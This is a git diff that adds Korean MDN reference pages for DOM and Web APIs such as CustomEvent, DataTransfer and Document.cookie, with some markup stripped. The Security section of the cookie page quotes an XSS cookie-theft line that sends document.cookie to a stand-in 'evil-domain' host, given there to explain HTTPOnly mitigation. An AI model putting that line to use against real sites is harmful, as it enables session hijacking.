+ + diff --git a/files/ko/web/api/customelementregistry/index.html b/files/ko/web/api/customelementregistry/index.html new file mode 100644 index 0000000000..4cc311f276 --- /dev/null +++ b/files/ko/web/api/customelementregistry/index.html @@ -0,0 +1,94 @@ +--- +title: CustomElementRegistry +slug: Web/API/CustomElementRegistry +tags: + - API + - CustomElementRegistry + - Experimental + - Interface + - Reference + - Web Components +translation_of: Web/API/CustomElementRegistry +--- +
{{DefaultAPISidebar("Web Components")}}
+ +

CustomElementRegistry 인터페이스는 사용자 지정 요소를 등록하고, 등록한 요소를 가져올 수 있는 메서드를 제공합니다. 인스턴스에 접근하려면 {{domxref("window.customElements")}} 속성을 사용하세요.

+ +

메서드

+ +
+
{{domxref("CustomElementRegistry.define()")}}
+
새로운 사용자 지정 요소를 정의합니다.
+
{{domxref("CustomElementRegistry.get()")}}
+
유명 사용자 지정 요소의 생성자를 반환합니다. 그런 요소가 없는 경우 {{jsxref("undefined")}}를 대신 반환합니다.
+
{{domxref("CustomElementRegistry.upgrade()")}}
+
사용자 지정 요소가 자신의 섀도 루트(shadow root)에 연결되기 전에 직접 업그레이드합니다.
+
{{domxref("CustomElementRegistry.whenDefined()")}}
+
주어진 이름의 사용자 지정 요소가 등록되는 순간 이행하는, 빈 {{jsxref("Promise")}}를 반환합니다. 만약 그런 요소가 이미 등록된 경우 즉시 이행합니다.
+
+ +

예제

+ +

다음 코드는 word-count-web-component 예제에서 가져온 것입니다(라이브로 확인하세요). 사용자 지정 요소 클래스를 생성한 후, {{domxref("CustomElementRegistry.define()")}} 메서드로 등록하는 과정을 살펴보세요.

+ +
// Create a class for the element
+class WordCount extends HTMLParagraphElement {
+  constructor() {
+    // Always call super first in constructor
+    super();
+
+    // count words in element's parent element
+    var wcParent = this.parentNode;
+
+    function countWords(node){
+      var text = node.innerText || node.textContent
+      return text.split(/\s+/g).length;
+    }
+
+    var count = 'Words: ' + countWords(wcParent);
+
+    // Create a shadow root
+    var shadow = this.attachShadow({mode: 'open'});
+
+    // Create text node and add word count to it
+    var text = document.createElement('span');
+    text.textContent = count;
+
+    // Append it to the shadow root
+    shadow.appendChild(text);
+
+
+    // Update count when element content changes
+    setInterval(function() {
+      var count = 'Words: ' + countWords(wcParent);
+      text.textContent = count;
+    }, 200)
+
+  }
+}
+
+// Define the new element
+customElements.define('word-count', WordCount, { extends: 'p' });
+ +

명세

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName("HTML WHATWG", "custom-elements.html#customelementregistry", "CustomElementRegistry")}}{{Spec2("HTML WHATWG")}}Initial definition.
+ +

브라우저 호환성

+ + + +

{{Compat("api.CustomElementRegistry")}}

diff --git a/files/ko/web/api/customevent/customevent/index.html b/files/ko/web/api/customevent/customevent/index.html new file mode 100644 index 0000000000..428ca288ac --- /dev/null +++ b/files/ko/web/api/customevent/customevent/index.html @@ -0,0 +1,110 @@ +--- +title: CustomEvent() +slug: Web/API/CustomEvent/CustomEvent +tags: + - API + - CustomEvent + - 레퍼런스 + - 생성자 + - 이벤트 +translation_of: Web/API/CustomEvent/CustomEvent +--- +

{{APIRef("DOM")}}

+ +

CustomEvent() 생성자는 새로운 {{domxref("CustomEvent")}} 를 생성합니다.

+ +

{{AvailableInWorkers}}

+ +

문법

+ +
 event = new CustomEvent(typeArg, customEventInit);
+ +

파라미터

+ +
+
typeArg
+
{{domxref("DOMString")}} 은 이벤트의 이름을 나타냅니다.
+
customEventInit {{optional_inline}}
+
CustomEventInit 딕셔너리는 다음 필드를 갖습니다. +
    +
  • "detail": 옵션이며 기본 값은 null 입니다. 모든 타입을 사용할 수 있으며 이벤트에 관련된 이벤트-의존 값입니다.
  • +
+ +
+

CustomEventInit 딕셔너리는 {{domxref("Event.Event", "EventInit")}} 으로부터의 필드도 허용합니다.

+
+
+
+ +

반환 값

+ +

지정한 타입의 새로운 CustomEvent 객체. CustomEventInit 이 제공되었다면 그에 따른 모든 프로퍼티가 구성됩니다.

+ +

예제

+ +
// 적당한 이벤트 리스터 추가
+obj.addEventListener("cat", function(e) { process(e.detail) });
+
+// 이벤트 생성 및 실행
+var event = new CustomEvent("cat", {
+  detail: {
+    hazcheeseburger: true
+  }
+});
+obj.dispatchEvent(event);
+ +

더 많은 예제는 이벤트 생성 및 트리거 문서에서 확인하세요.

+ +

명세

+ + + + + + + + + + + + + + + + +
명세상태코멘트
{{SpecName('DOM WHATWG','#dom-customevent-customevent','CustomEvent()')}}{{Spec2('DOM WHATWG')}}초기 정의.
+ +

브라우저 호환성

+ + + +

{{Compat("api.CustomEvent.CustomEvent")}}

+ +

폴리필

+ +

다음 코드를 사용해 CustomEvent() 생성자의 기능을 인터넷 익스플로러 9 이상에서 폴리필링할 수 있습니다.

+ +
(function () {
+
+  if ( typeof window.CustomEvent === "function" ) return false;
+
+  function CustomEvent ( event, params ) {
+    params = params || { bubbles: false, cancelable: false, detail: undefined };
+    var evt = document.createEvent( 'CustomEvent' );
+    evt.initCustomEvent( event, params.bubbles, params.cancelable, params.detail );
+    return evt;
+   }
+
+  CustomEvent.prototype = window.Event.prototype;
+
+  window.CustomEvent = CustomEvent;
+})();
+ +

Internet Explorer 9 이상은 window 에 CustomEvent 를 추가하지만, 올바른 구현이 아니며, 이는 함수입니다.

+ +

함께 보기

+ + diff --git a/files/ko/web/api/customevent/index.html b/files/ko/web/api/customevent/index.html new file mode 100644 index 0000000000..782f81ba74 --- /dev/null +++ b/files/ko/web/api/customevent/index.html @@ -0,0 +1,96 @@ +--- +title: CustomEvent +slug: Web/API/CustomEvent +tags: + - API + - DOM + - Interface + - NeedsCompatTable + - NeedsExample + - Reference +translation_of: Web/API/CustomEvent +--- +

{{APIRef("DOM")}}CustomEvent 인터페이스는 어플리케이션의 어떤 목적에 의해 초기화된 이벤트를 나타냅니다.

+ +

{{AvailableInWorkers}}

+ +

생성자

+ +
+
{{domxref("CustomEvent.CustomEvent", "CustomEvent()")}}
+
CustomEvent 를 생성합니다.
+
+ +

프로퍼티

+ +
+
{{domxref("CustomEvent.detail")}} {{readonlyinline}}
+
이벤트 초기화에 전달되는 모든 데이터.
+
+ +

이 인터페이스는 그 부모인 {{domxref("Event")}} 로부터 프로퍼티를 상속받습니다:

+ +

{{Page("/en-US/docs/Web/API/Event", "Properties")}}

+ +

메소드

+ +
+
{{domxref("CustomEvent.initCustomEvent()")}} {{deprecated_inline}}
+
+

CustomEvent 객체를 초기화합니다. 이벤트가 이미 디스패치되었다면, 이 메소드는 아무것도 하지 않습니다.

+
+
+ +

이 인터페이스는 그 부모인 {{domxref("Event")}} 로부터 메소드를 상속받습니다:

+ +

{{Page("/ko/docs/Web/API/Event", "Methods")}}

+ +

명세

+ + + + + + + + + + + + + + + + +
명세상태코멘트
{{SpecName('DOM WHATWG','#interface-customevent','CustomEvent')}}{{Spec2('DOM WHATWG')}}초기 정의.
+ +

브라우저 호환성

+ +

 

+ + + +

{{Compat("api.CustomEvent")}}

+ +

권한 코드에서 비권한 코드로 실행

+ +

CustomEvent 를 권한 코드(예, 확장 기능)에서 비권한 코드(예, 웹페이지)로 실행할 때, 보안 문제를 고려해야 합니다. Firefox 와 다른 Gecko 어플리케이션은 한 컨텍스트에서 생성된 객체가 다른 곳에서 바로 사용되는 것을 제한하여 보안상의 문제를 자동으로 방지하지만, 이는 여러분의 코드가 예상한대로 실행되는 것을 제한하기도 합니다.

+ +

CustomEvent 객체는 반드시 동일한 에서 생성해야 합니다. CustomEvent 의 detail 속성도 동일하게 제한됩니다. String 과 Array 값은 제한 없이 그 컨텐츠를 읽을 수 있지만, 커스텀 객체는 그렇지 않습니다. 커스텀 객체를 사용할 때, Components.utils.cloneInto() 를 사용해 컨텐츠 스크립트에서 읽을 수 있는 객체의 속성을 정의해야 합니다.

+ +
// doc 은 컨텐츠 다큐먼트의 참조입니다
+function dispatchCustomEvent(doc) {
+  var eventDetail = Components.utils.cloneInto({foo: 'bar'}, doc.defaultView);
+  var myEvent = doc.defaultView.CustomEvent("mytype", eventDetail);
+  doc.dispatchEvent(myEvent);
+}
+ +

함수 노출은 크롬 권한으로 실행하기 위한 컨텐츠 스크립트를 허용하여 보안 취약점에 열려있다는 점을 주의하시기 바랍니다.

+ +

함께 보기

+ + diff --git a/files/ko/web/api/datatransfer/getdata/index.html b/files/ko/web/api/datatransfer/getdata/index.html new file mode 100644 index 0000000000..8a9edcf029 --- /dev/null +++ b/files/ko/web/api/datatransfer/getdata/index.html @@ -0,0 +1,112 @@ +--- +title: DataTransfer.getData() +slug: Web/API/DataTransfer/getData +tags: + - API + - HTML DOM + - Method + - Reference +translation_of: Web/API/DataTransfer/getData +--- +
+

{{APIRef("HTML DOM")}}

+
+ +

DataTransfer.getData() 메소드는 특정 형태를 위해 ({{domxref("DOMString")}}로) 끌어낸 데이터를 회수한다. 가령, 끌어내는 동작이 데이터를 포함하지 않는다면, 이 메소드는 빈 문자열을 반환한다.

+ +

예시 데이터 형식으로는 text/plain 와 text/uri-list 이 있다.

+ +

구문

+ +
dataTransfer.getData(format);
+
+ +

매개변수

+ +
+
format
+
회수할 데이터 형식을 나타내는 {{domxref("DOMString")}}
+
+ +

반환 값

+ +
+
{{domxref("DOMString")}}
+
특정 format을 위해 끌어낸 데이터를 나타내는 {{domxref("DOMString")}}. 만약 끌어내는 동작이 데이터를 가지고 있지 않거나 동작이 특정 format 에 대한 데이터를 가지고 있지 않다면, 이 메소드는 빈 문자열을 반환한다.
+
+ +

예제

+ +

이 예시는 {{domxref("DataTransfer")}} 객체의 {{domxref("DataTransfer.getData()","getData()")}} 와 {{domxref("DataTransfer.setData()","setData()")}} 메소드의 사용을 보여준다.

+ +

HTML 내용

+ +
<div id="div1" ondrop="drop(event)" ondragover="allowDrop(event)">
+    <span id="drag" draggable="true" ondragstart="drag(event)">drag me to the other box</span>
+</div>
+<div id="div2" ondrop="drop(event)" ondragover="allowDrop(event)"></div>
+
+ +

CSS 내용

+ +
#div1, #div2 {
+    width:100px;
+    height:50px;
+    padding:10px;
+    border:1px solid #aaaaaa;
+}
+
+ +

JavaScript 내용

+ +
function allowDrop(allowdropevent) {
+    allowdropevent.target.style.color = 'blue';
+    allowdropevent.preventDefault();
+}
+
+function drag(dragevent) {
+    dragevent.dataTransfer.setData("text", dragevent.target.id);
+    dragevent.target.style.color = 'green';
+}
+
+function drop(dropevent) {
+    dropevent.preventDefault();
+    var data = dropevent.dataTransfer.getData("text");
+    dropevent.target.appendChild(document.getElementById(data));
+    document.getElementById("drag").style.color = 'black';
+}
+
+ +

결과

+ +

{{ EmbedLiveSample('예제', 600) }}

+ +

명세

+ + + + + + + + + + + + + + + + + + + +
명세상태비고
{{SpecName("HTML WHATWG", "interaction.html#dom-datatransfer-getdata", "getData()")}}{{Spec2("HTML WHATWG")}} 
{{SpecName("HTML5.1", "editing.html#dom-datatransfer-getdata", "getData()")}}{{Spec2("HTML5.1")}}첫 정의
+ +

브라우저 호환성

+ +

{{Compat("api.DataTransfer.getData")}}

+ +

같이 보기

+ +

{{page("/en-US/docs/Web/API/DataTransfer", "See also")}}

diff --git a/files/ko/web/api/datatransfer/index.html b/files/ko/web/api/datatransfer/index.html new file mode 100644 index 0000000000..bf4e78de4b --- /dev/null +++ b/files/ko/web/api/datatransfer/index.html @@ -0,0 +1,137 @@ +--- +title: DataTransfer +slug: Web/API/DataTransfer +tags: + - API + - DataTransfer + - HTML Drag and Drop API + - Interface + - Reference + - Web Development + - drag and drop +translation_of: Web/API/DataTransfer +--- +
{{APIRef("HTML Drag and Drop API")}}
+ +

The DataTransfer object is used to hold the data that is being dragged during a drag and drop operation. It may hold one or more data items, each of one or more data types. For more information about drag and drop, see HTML Drag and Drop API.

+ +

This object is available from the {{domxref("DragEvent.dataTransfer","dataTransfer")}} property of all {{domxref("DragEvent","drag events")}}.

+ +

Constructor

+ +
+
{{domxref("DataTransfer.DataTransfer","DataTransfer()")}}
+
Creates and returns a new DataTransfer object.
+
+ +

Properties

+ +

Standard properties

+ +
+
{{domxref("DataTransfer.dropEffect")}}
+
Gets the type of drag-and-drop operation currently selected or sets the operation to a new type. The value must be nonecopylink or move.
+
{{domxref("DataTransfer.effectAllowed")}}
+
Provides all of the types of operations that are possible. Must be one of none, copy, copyLink, copyMove, link, linkMove, move, all or uninitialized.
+
{{domxref("DataTransfer.files")}}
+
Contains a list of all the local files available on the data transfer. If the drag operation doesn't involve dragging files, this property is an empty list.
+
{{domxref("DataTransfer.items")}} {{readonlyInline}}
+
Gives a {{domxref("DataTransferItemList")}} object which is a list of all of the drag data.
+
{{domxref("DataTransfer.types")}} {{readonlyInline}}
+
An array of {{domxref("DOMString","strings")}} giving the formats that were set in the {{event("dragstart")}} event.
+
+ +

Gecko properties

+ +

{{SeeCompatTable}}

+ +
Note: All of the properties in this section are Gecko-specific.
+ +
+
{{domxref("DataTransfer.mozCursor")}}
+
Gives the drag cursor's state. This is primarily used to control the cursor during tab drags.
+
{{domxref("DataTransfer.mozItemCount")}} {{readonlyInline}}
+
Gives the number of items in the drag operation.
+
{{domxref("DataTransfer.mozSourceNode")}} {{readonlyInline}}
+
The {{ domxref("Node") }} over which the mouse cursor was located when the button was pressed to initiate the drag operation. This value is null for external drags or if the caller can't access the node.
+
{{domxref("DataTransfer.mozUserCancelled")}} {{readonlyInline}}
+
This property applies only to the dragend event, and is true if the user canceled the drag operation by pressing escape. It will be false in all other cases, including if the drag failed for any other reason, for instance due to a drop over an invalid location.
+
+ +

Methods

+ +

Standard methods

+ +
+
{{domxref("DataTransfer.clearData()")}}
+
Remove the data associated with a given type. The type argument is optional. If the type is empty or not specified, the data associated with all types is removed. If data for the specified type does not exist, or the data transfer contains no data, this method will have no effect.
+
{{domxref("DataTransfer.getData()")}}
+
Retrieves the data for a given type, or an empty string if data for that type does not exist or the data transfer contains no data.
+
{{domxref("DataTransfer.setData()")}}
+
Set the data for a given type. If data for the type does not exist, it is added at the end, such that the last item in the types list will be the new format. If data for the type already exists, the existing data is replaced in the same position.
+
{{domxref("DataTransfer.setDragImage()")}}
+
Set the image to be used for dragging if a custom one is desired.
+
+ +

Gecko methods

+ +

{{Non-standard_header()}}

+ +
Note: All of the methods in this section are Gecko-specific.
+ +
+
{{domxref("DataTransfer.addElement()")}}
+
Sets the drag source to the given element.
+
{{domxref("DataTransfer.mozClearDataAt()")}}
+
Removes the data associated with the given format for an item at the specified index. The index is in the range from zero to the number of items minus one.
+
{{domxref("DataTransfer.mozGetDataAt()")}}
+
Retrieves the data associated with the given format for an item at the specified index, or null if it does not exist. The index should be in the range from zero to the number of items minus one.
+
{{domxref("DataTransfer.mozSetDataAt()")}}
+
A data transfer may store multiple items, each at a given zero-based index. mozSetDataAt() may only be called with an index argument less than mozItemCount in which case an existing item is modified, or equal to mozItemCount in which case a new item is added, and the mozItemCount is incremented by one.
+
{{domxref("DataTransfer.mozTypesAt()")}}
+
Holds a list of the format types of the data that is stored for an item at the specified index. If the index is not in the range from 0 to the number of items minus one, an empty string list is returned.
+
+ +

Example

+ +

Every method and property listed in this document has its own reference page and each reference page either directly includes an example of the interface or has a link to an example.

+ +

Specifications

+ + + + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('HTML WHATWG', 'interaction.html#datatransfer','DataTransfer')}}{{Spec2('HTML WHATWG')}}mozCursor, mozItemCount, mozSourceNode, mozUserCancelled, addElement(), mozClearDataAt(), mozGetDataAt(), mozSetDataAt() and mozTypesAt are Gecko specific.
{{SpecName('HTML5.1', 'editing.html#the-datatransfer-interface','DataTransfer')}}{{Spec2('HTML5.1')}}Not included in W3C HTML5 {{Spec2('HTML5 W3C')}}
+ +

Browser compatibility

+ + + +

{{Compat("api.DataTransfer")}}

+ +

See also

+ + diff --git a/files/ko/web/api/document/adoptnode/index.html b/files/ko/web/api/document/adoptnode/index.html new file mode 100644 index 0000000000..d2cce901a6 --- /dev/null +++ b/files/ko/web/api/document/adoptnode/index.html @@ -0,0 +1,58 @@ +--- +title: Document.adoptNode() +slug: Web/API/Document/adoptNode +tags: + - API + - DOM + - DOM 레퍼런스 + - 레퍼런스 + - 메소드 +translation_of: Web/API/Document/adoptNode +--- +
{{ ApiRef("DOM") }}
+ +
 
+ +

외부 문서로부터 노드를 가져온다. 해당 노드와 그 하위트리는 기존의 문서에서 지워지고 해당 노드의 ownerDocument 는 현재 문서로 바뀐다. 그리고 그 노드는 현재의 문서에 삽입된다.

+ +

Gecko 1.9 (Firefox 3)부터 지원

+ +

문법

+ +
node = document.adoptNode(externalNode);
+
+ +
+
   node
+
는 현재 문서에 삽입될 노드를 의미. 아직 해당 문서에 삽입되기 전이기 때문에 새로운 노드의 parentNode는 null이다.   
+
externalNode
+
는 노드를 가져오기 위한 외부 문서에 있는 노드를 의미.
+
+ +

예제

+ +

{{todo}}

+ +

알아두기

+ +

보통 adoptNode 호출은 다른 방식으로 구현된 곳에서 노드를 불러오기 때문에 실패하는 경우가 많다. 하지만 브라우저로 인한 문제인 경우는 문제가 된다.

+ +

Nodes from external documents should be cloned using document.importNode() (or adopted using document.adoptNode()) before they + can be inserted into the current document. For more on the Node.ownerDocument issues, see the + W3C DOM FAQ.

+ +

Firefox doesn't currently enforce this rule (it did for a while during the development of Firefox 3, but too many + sites break when this rule is enforced). We encourage Web developers to fix their code to follow this rule for + improved future compatibility.

+ +

명세

+ + + +

더 보기

+ + diff --git a/files/ko/web/api/document/alinkcolor/index.html b/files/ko/web/api/document/alinkcolor/index.html new file mode 100644 index 0000000000..9cbfe4a0e1 --- /dev/null +++ b/files/ko/web/api/document/alinkcolor/index.html @@ -0,0 +1,26 @@ +--- +title: document.alinkColor +slug: Web/API/Document/alinkColor +tags: + - DOM + - Gecko + - Gecko DOM Reference +translation_of: Web/API/Document/alinkColor +--- +

{{ ApiRef() }}

+

Summary

+

{{ Deprecated_header() }} document body에 있는 active link의 색깔을 설정하거나 설정된 값을 리턴합니다. 링크는 mousedownmouseup 이벤트가 발생하는 중간에 활성화(active)됩니다.

+

Syntax

+
color = document.alinkColor
+document.alinkColor =color
+
+

color는 색깔의 이름을 포함하는 문자열 (e.g., "blue", "darkblue", etc.) 혹은 색깔의 16진수 값으로 설정할 수 있습니다(e.g., #0000FF).

+

Notes

+

The default value for this property in Mozilla Firefox is red (#ee0000 in hexadecimal).

+

document.alinkColor is deprecated in DOM Level 2 HTML. One alternative is the CSS selector {{ Cssxref(":active") }}.

+

Another alternative is document.body.aLink, although this is deprecated in HTML 4.01 in favor of the CSS alternative.

+

Gecko supports both alinkColor/:active and {{ Cssxref(":focus") }}. Internet Explorer 6 and 7 support alinkColor/:active only for HTML anchor (<a>) links and the behavior is the same as :focus under Gecko. There is no support for :focus in IE.

+

Specification

+

{{ DOM0() }}

+

MSDN: alinkColor property

+

{{ languages( { "es": "es/DOM/document.alinkColor", "pl": "pl/DOM/document.alinkColor" } ) }}

diff --git a/files/ko/web/api/document/all/index.html b/files/ko/web/api/document/all/index.html new file mode 100644 index 0000000000..e130540cea --- /dev/null +++ b/files/ko/web/api/document/all/index.html @@ -0,0 +1,49 @@ +--- +title: Document.all +slug: Web/API/Document/all +tags: + - API + - DOM + - Document + - HTMLAllCollection + - Property + - Reference + - all +translation_of: Web/API/Document/all +--- +
{{APIRef("DOM")}}{{Draft}}{{SeeCompatTable}}
+ +

{{DOMxRef("Document")}} 인터페이스의 read-only all 요소는 document node에 위치한{{DOMxRef("HTMLAllCollection")}} 반환한다. 간단하게 말하면 read-only all 요소는 페이지의 모든 contents를 반환 해준다.

+ +

Syntax

+ +
var htmlAllCollection = document.all;
+ +

Value

+ +

{{DOMxRef("HTMLAllCollection")}}는 문서 내에서 모든 node를 담고 있다.

+ +

Specifications

+ + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('HTML WHATWG', '#dom-document-all', 'all')}}{{Spec2('HTML WHATWG')}}Initial definition.
+ +

Browser compatibility

+ + + +

{{Compat("api.Document.all")}}

diff --git a/files/ko/web/api/document/anchors/index.html b/files/ko/web/api/document/anchors/index.html new file mode 100644 index 0000000000..3a37425ab9 --- /dev/null +++ b/files/ko/web/api/document/anchors/index.html @@ -0,0 +1,31 @@ +--- +title: document.anchors +slug: Web/API/Document/anchors +tags: + - API + - Deprecated + - Document + - HTML DOM + - Property + - Reference +translation_of: Web/API/Document/anchors +--- +
{{APIRef("DOM")}} {{deprecated_header()}}
+ +

{{domxref("Document")}} 인터페이스의 anchors 읽기 전용 속성은 문서 내의 모든 앵커 목록을 반환합니다.

+ +

예제

+ +
if ( document.anchors.length >= 5 ) {
+    dump("dump found too many anchors");
+    window.location = "http://www.google.com";
+}
+
+ +

알아두기

+ +

이전 버전과의 호환성을 제공하기 위해, 반환된 anchor들의 목록은 name 속성(attribute)으로 생성된 anchors들만 포함하고 id 속성(attribute)으로 생성된 것들은 포함하지 않습니다.

+ +

브라우저 호환성

+ +

{{Compat("api.Document.anchors")}}

diff --git a/files/ko/web/api/document/applets/index.html b/files/ko/web/api/document/applets/index.html new file mode 100644 index 0000000000..25c147849b --- /dev/null +++ b/files/ko/web/api/document/applets/index.html @@ -0,0 +1,30 @@ +--- +title: document.applets +slug: Web/API/Document/applets +tags: + - DOM + - Gecko +translation_of: Web/API/Document/applets +--- +

{{ ApiRef() }}

+ +

요약

+ +

applets document 내의 정렬된 애플릿 목록을 리턴합니다.

+ +

문법

+ +
nodeList = document.applets
+
+ +

예제

+ +
// ( 여러분이 원하는 두 번째 애플릿을 알고 있을 때 )
+my_java_app = document.applets[1];
+
+ +

명세

+ +

DOM 레벨 2 HTML: applets

+ +

{{ languages( { "en": "en/DOM/document.applets", "es": "es/DOM/document.applets", "pl": "pl/DOM/document.applets" } ) }}

diff --git a/files/ko/web/api/document/body/index.html b/files/ko/web/api/document/body/index.html new file mode 100644 index 0000000000..adc40e872e --- /dev/null +++ b/files/ko/web/api/document/body/index.html @@ -0,0 +1,74 @@ +--- +title: Document.body +slug: Web/API/Document/body +tags: + - API + - DOM + - Document + - Property + - Reference +translation_of: Web/API/Document/body +--- +
{{APIRef("DOM")}}
+ +

Document.body 속성은 현재 문서의 {{htmlelement("body")}} 혹은 {{htmlelement("frameset")}} 노드를 나타냅니다. 일치하는 요소가 존재하지 않으면 null을 반환합니다.

+ +

구문

+ +
const objRef = document.body
+document.body = objRef
+
+ +

예제

+ +
// HTML: <body id="oldBodyElement"></body>
+alert(document.body.id); // "oldBodyElement"
+
+let aNewBodyElement = document.createElement("body");
+
+aNewBodyElement.id = "newBodyElement";
+document.body = aNewBodyElement;
+alert(document.body.id); // "newBodyElement"
+ +

참고

+ +

Document.body는 문서의 콘텐츠를 수용하는 요소입니다. <body> 콘텐츠를 가지고 있는 문서는 <body> 요소를 반환하고, 프레임셋을 가지고 있는 문서는 가장 바깥쪽의 <frameset> 요소를 반환합니다.

+ +

body 속성에 새로운 값을 설정할 수 있긴 하지만, 문서에 새로운 본문을 설정하는건 <body> 요소가 가지고 있던 모든 자식을 제거하는 것과 같습니다.

+ +

명세

+ + + + + + + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('HTML WHATWG','dom.html#dom-document-body','Document.body')}}{{Spec2('HTML WHATWG')}}
{{SpecName('HTML5.1','dom.html#dom-document-body','Document.body')}}{{Spec2('HTML5.1')}}
{{SpecName('HTML5 W3C','dom.html#dom-document-body','Document.body')}}{{Spec2('HTML5 W3C')}}
+ +

브라우저 호환성 

+ +

{{Compat("api.Document.body")}}

+ +

같이 보기

+ + diff --git a/files/ko/web/api/document/characterset/index.html b/files/ko/web/api/document/characterset/index.html new file mode 100644 index 0000000000..647c25ab41 --- /dev/null +++ b/files/ko/web/api/document/characterset/index.html @@ -0,0 +1,47 @@ +--- +title: Document.characterSet +slug: Web/API/Document/characterSet +tags: + - API + - DOM + - Document + - Property + - Reference +translation_of: Web/API/Document/characterSet +--- +
{{ ApiRef("DOM") }}
+ +

Document.characterSet 읽기 전용 속성은 현재 문서가 렌더링에 사용하는 문자 인코딩을 반환합니다.

+ +
+

참고: Document.charsetDocument.inputEncoding 속성은 Document.characterSet의 이전 별칭입니다. 더 이상 사용지 마세요.

+
+ +

예제

+ +
<button onclick="console.log(document.characterSet);">
+  콘솔에 인코딩 출력
+</button>
+<!-- "ISO-8859-1"이나 "UTF-8" 등, 문서의 캐릭터 셋 기록 -->
+
+ +

명세

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('DOM WHATWG', '#dom-document-characterset', 'characterSet')}}{{Spec2('DOM WHATWG')}}Initial definition.
+ +

브라우저 호환성

+ +

{{Compat("api.Document.characterSet")}}

diff --git a/files/ko/web/api/document/compatmode/index.html b/files/ko/web/api/document/compatmode/index.html new file mode 100644 index 0000000000..8a8a33b2fd --- /dev/null +++ b/files/ko/web/api/document/compatmode/index.html @@ -0,0 +1,64 @@ +--- +title: Document.compatMode +slug: Web/API/Document/compatMode +tags: + - API + - DOM + - Document + - Property + - Reference +translation_of: Web/API/Document/compatMode +--- +
{{ApiRef("DOM")}}
+ +

Document.compatMode 속성은 문서 렌더링을 호환 모드에서 진행했는지, 표준 모드에서 진행했는지 나타냅니다.

+ +

구문

+ +
const mode = document.compatMode
+
+ +

+ +

다음 중 하나.

+ + + +
+

참고: 위의 모든 모드는 표준화됐으므로, 오래 전에 사용하던 "표준"과 "거의 표준"이라는 이름은 말이 되지 않아 이제 사용하지 않습니다.

+
+ +

예제

+ +
if (document.compatMode == "BackCompat") {
+  // in Quirks mode
+}
+
+ +

명세

+ + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('DOM WHATWG', '/#dom-document-compatmode','compatMode')}}{{Spec2('DOM WHATWG')}}
+ +

브라우저 호환성

+ + + +

{{Compat("api.Document.compatMode")}}

diff --git a/files/ko/web/api/document/cookie/index.html b/files/ko/web/api/document/cookie/index.html new file mode 100644 index 0000000000..d5cfd2f0d3 --- /dev/null +++ b/files/ko/web/api/document/cookie/index.html @@ -0,0 +1,243 @@ +--- +title: Document.cookie +slug: Web/API/Document/cookie +translation_of: Web/API/Document/cookie +--- +
{{APIRef("DOM")}}
+ +

 {{domxref("Document")}} cookie 는 document와 연관된 cookies 를 읽고 쓸 수 있게 해준다. 쿠키의 실제값에 대한 getter 와 setter로 작동한다.

+ +

문법

+ +

Read all cookies accessible from this location

+ +
allCookies = document.cookie;
+ +

위 코드에서 allCookies 세미콜론으로 구분되는 모든 쿠키 리스트의 문자열이다. (다른 말로 key=value). Note that each key and value may be surrounded by whitespace (space and tab characters): in fact, {{RFC(6265)}} mandates a single space after each semicolon, but some user agents may not abide by this.

+ + + + + +

In the code above, newCookie is a string of form key=value. Note that you can only set/update a single cookie at a time using this method. Consider also that:

+ + + +
Note: As you can see from the code above, document.cookie is an accessor property with native setter and getter functions, and consequently is not a data property with a value: what you write is not the same as what you read, everything is always mediated by the JavaScript interpreter.
+ +

Examples

+ +

Example #1: Simple usage

+ +
document.cookie = "name=oeschger";
+document.cookie = "favorite_food=tripe";
+function alertCookie() {
+  alert(document.cookie);
+}
+
+ +
<button onclick="alertCookie()">Show cookies</button>
+
+ +

{{EmbedLiveSample('Example_1_Simple_usage', 200, 36)}}

+ + + +
document.cookie = "test1=Hello";
+document.cookie = "test2=World";
+
+const cookieValue = document.cookie
+  .split('; ')
+  .find(row => row.startsWith('test2'))
+  .split('=')[1];
+
+function alertCookieValue() {
+  alert(cookieValue);
+}
+
+ +
<button onclick="alertCookieValue()">Show cookie value</button>
+ +

{{EmbedLiveSample('Example_2_Get_a_sample_cookie_named_test2', 200, 36)}}

+ +

Example #3: Do something only once

+ +

In order to use the following code, please replace all occurrences of the word doSomethingOnlyOnce (the name of the cookie) with a custom name.

+ +
function doOnce() {
+  if (!document.cookie.split('; ').find(row => row.startsWith('doSomethingOnlyOnce'))) {
+    alert("Do something here!");
+    document.cookie = "doSomethingOnlyOnce=true; expires=Fri, 31 Dec 9999 23:59:59 GMT";
+  }
+}
+ +
<button onclick="doOnce()">Only do something once</button>
+ +

{{EmbedLiveSample('Example_3_Do_something_only_once', 200, 36)}}

+ + + +
function resetOnce() {
+  document.cookie = "doSomethingOnlyOnce=; expires=Thu, 01 Jan 1970 00:00:00 GMT";
+}
+ +
<button onclick="resetOnce()">Reset only once cookie</button>
+ +

{{EmbedLiveSample('Example_4_Reset_the_previous_cookie', 200, 36)}}

+ + + +
//ES5
+
+if (document.cookie.split(';').some(function(item) {
+    return item.trim().indexOf('reader=') == 0
+})) {
+    console.log('The cookie "reader" exists (ES5)')
+}
+
+//ES2016
+
+if (document.cookie.split(';').some((item) => item.trim().startsWith('reader='))) {
+    console.log('The cookie "reader" exists (ES6)')
+}
+
+ + + +
//ES5
+
+if (document.cookie.split(';').some(function(item) {
+    return item.indexOf('reader=1') >= 0
+})) {
+    console.log('The cookie "reader" has "1" for value')
+}
+
+//ES2016
+
+if (document.cookie.split(';').some((item) => item.includes('reader=1'))) {
+    console.log('The cookie "reader" has "1" for value')
+}
+
+ +

Security

+ +

It is important to note that the path attribute does not protect against unauthorized reading of the cookie from a different path. It can be easily bypassed using the DOM, for example by creating a hidden {{HTMLElement("iframe")}} element with the path of the cookie, then accessing this iframe's contentDocument.cookie property. The only way to protect the cookie is by using a different domain or subdomain, due to the same origin policy.

+ +

Cookies are often used in web application to identify a user and their authenticated session. So stealing the cookie from a web application, will lead to hijacking the authenticated user's session. Common ways to steal cookies include using Social Engineering or by exploiting an XSS vulnerability in the application -

+ +
(new Image()).src = "http://www.evil-domain.com/steal-cookie.php?cookie=" + document.cookie;
+
+ +

The HTTPOnly cookie attribute can help to mitigate this attack by preventing access to cookie value through Javascript. Read more about Cookies and Security.

+ +

Notes

+ + + +

